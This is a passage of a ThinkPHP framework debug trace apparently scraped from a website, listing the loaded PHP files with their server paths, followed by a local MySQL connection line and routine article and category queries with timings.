  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000539s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000672s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000324s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000263s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000514s ]
  6. SELECT * FROM `set` [ RunTime:0.000186s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000554s ]
  8. SELECT * FROM `article` WHERE `id` = 587344 LIMIT 1 [ RunTime:0.000545s ]
  9. UPDATE `article` SET `lasttime` = 1778278623 WHERE `id` = 587344 [ RunTime:0.000815s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000247s ]
  11. SELECT * FROM `article` WHERE `id` < 587344 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000443s ]
  12. SELECT * FROM `article` WHERE `id` > 587344 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000397s ]
  13. SELECT * FROM `article` WHERE `id` < 587344 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.006198s ]
  14. SELECT * FROM `article` WHERE `id` < 587344 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.000879s ]
  15. SELECT * FROM `article` WHERE `id` < 587344 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.003139s ]
0.150050s